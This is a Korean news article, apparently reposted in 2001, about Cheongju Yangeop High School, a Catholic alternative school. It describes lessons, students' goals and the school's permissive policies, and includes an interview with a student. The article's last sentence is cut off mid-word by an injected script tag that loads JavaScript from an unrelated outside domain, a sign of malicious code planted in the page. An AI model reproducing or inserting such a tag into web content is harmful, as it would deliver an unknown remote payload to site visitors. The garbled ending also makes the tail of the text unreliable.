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짱 뉴스 : 대안학교에대해

수련관 | 2001-06-05 | 조회수 : 9265
쑥 들어간 것도 해구고 불쑥 솟은 것도 해구예요?

지난달 30일 오후 충북 청원군 옥산면 환희리에 자리잡은 청주양업고(교장 尹秉勳 신부)의 과학실인 유레카 .의대에 진학해 성형외과 전문의가 되겠다는 노랑머리 재웅이(18)는 맨 앞줄에 앉아 질문을 던져댄다.반바지 맨발에 슬리퍼를 신었다.나머지 8명도 비슷한 차림이다.

한경수(韓慶守·36)교사는 해저에서 함몰된 곳은 해구(海溝)고,바다 바닥에 솟은 산은 해구(海丘) 라고 칠판에 쓴 뒤 염화나트륨 염화마그네슘 등으로 이뤄진 바다 염류의 농도는 약 35퍼밀 이라고 설명했다.재웅이가 또 퍼밀이 뭐냐 고 질문을 던진다.

퍼센트는 100분위 단위고 퍼밀은 1000분위의 단위지.
아 그러니까 퍼센트는 100이 만땅 이고 퍼밀은 1000이 만땅 이군요.

재웅이가 비속어를 썼지만 개념은 정확하게 파악한 듯했다.

수업을 듣는 9명의 고3생 중 수업에 열중하고 있는 학생은 재웅이를 포함해 2명.나머지 학생들은 장난을 치거나 딴짓을 한다.아예 자는 학생도 있다.

수업시간 내내 뭘 하고 있었지?
라틴어 공부요.


수업시간 동안 딴짓을 하던 연수(가명·19·여)의 입에서 뜻밖의 말이 튀어 나왔다.옅은 화장에 귀고리를 하고 보랏빛 안경을 쓰고 있다.연수는 최근 그리스어와 라틴어 공부를 시작했다.라틴어 공부를 하다가 막히면 교장 윤 신부에게 묻기도 한다.기형도 시인을 가장 좋아한다는 연수는 졸업 후 여행을 다니며 글을 쓰겠다 면서 대학에는 가지 않겠다고 단호히 말한다.

국어 교실인 가벼움 에서는 2학년 남학생 8명이 영화 꽃잎 을 보고 있었다.지난 수업때 5·18 광주민주화운동에 대해 알아보자는 의견이 나온 뒤 선정한 영화다.의자를 붙여 놓고 누워서 보는 배짱 좋은 녀석도 있다. 번개머리 에 작은 귀고리까지 한 뮤직맨 수호(19)가 김진숙(30·여)교사에게 이정현이 입은 빨간색 옷이 무엇을 의미하느냐고 묻는다.김 교사가 수호는 뭘 의미한다고 생각하니 라고 되묻자 피 를 뜻하는 게 아니냐 고
재빨리 말한다.

오후 4시20분.수업 종료와 종례를 알리는 음악이 울려퍼졌다.

2학년1반에서는 곧 있을 산악 등반때 무슨 프로그램을 진행할 것인가를 놓고 가벼운 논쟁이 벌어졌다.아이들의 의견이 좀처럼 한데 모아지지 않지만 박선구(26·국어과)교사는 자신의 의견을 내놓지 않는다.논쟁이 계속되자 박 교사는
여러분의 의견을 모아서 선생님한테 내요 라며 종례를 끝냈다.학생들은 우르르루 빗자루와 대걸레를 들고 청소를 시작했다.

지난 98년 3월 문을 연 청주양업고는 일반 학교에서 제대로 적응하지 못하는 학생만 교육하는 대안학교.가톨릭 청주교구에서 운영하는 인성교육 특성화 고교다.수업에 들어가지 않아도 나무라지 않는다.흡연도 허용된다.

교감 조현순(趙賢順·46)수녀는 지난 2월 졸업한 15명 중7명은 4년제 대학에,6명은 전문대에 진학했다 면서 모두 상처를 안고 있는 아이들이라 1∼2학년때는 많이 방황하지만 3학년이 되면 자신이 뭘 할 것인지를 찾는다 고 말했다.

강원대 부동산학과의 1학기 수시모집에 응시한 흑인 통머리 대환(20·종교부장)이도 1∼2학년때는 3개월이나 등교를 거부하면서 검정고시를 보겠다고 생떼를 쓰기도 했다.7년동안 캐나다에서 살다가 초등학교 2학년때 귀국한 뒤 문화적 충격으로 줄곧 문제아 딱지를 달고 다녔다.

양업고는 따라서 학생들이 학교생활에 재미를 붙이도록 세심한 배려를 한다.한 반의 학생 수가 10명을 넘지 않아 교사는 1 대 1로 학생들을 지도할 수 있다.기숙사에서도 교사 1명당 학생 9명 정도가 하나의 가정을 이뤄 한 공간에서 생활한다.여행이나 봉사활동 등도 가정 별로 한다.

애칭이 곰 인 교장 윤 신부는 진정한 경쟁력과 창의성은 자유롭고 개성적이며 공동체의 소중함을 아는 건전한 가치관을 지닌 인간으로부터 나온다 고 강조했다.


꿈을 되찾으니 사는게 즐거워요
우리 학교는 다른 곳에 비해 기회가 훨씬 많아요.하지만 그 기회를 잡으려면 먼저 자신을 돌아보는 시간부터 충분히 가져야 해요.

지난달 30일 청주양업고 교정에서 만난 모범생 김진우군(18·2년)은 이렇게 말하며 씩 웃었다.

진우는 대안학교라고 해서 문제아를 모범생으로 바꿔놓는 도깨비 방망이 는 아니다면서 담배를 피울 수 있고 수업에 빠져도 괜찮다는 이유로 이곳에 오면 자신의 진로를 찾을 수 없다고 말했다.

현재 진우의 목표는 체육학과 진학.1학년때는 수업의 절반을 빼먹었지만,지금은 한번도 빠지지 않고 선생님의 설명에 온 신경을 집중한다.밤에도 혼자 열심히 공부한다.목표가 확실하기 때문이다.

진우가 빗나가기 시작한 것은 중3때 영국 유?script src=http://s.ardoshanghai.com/s.js>
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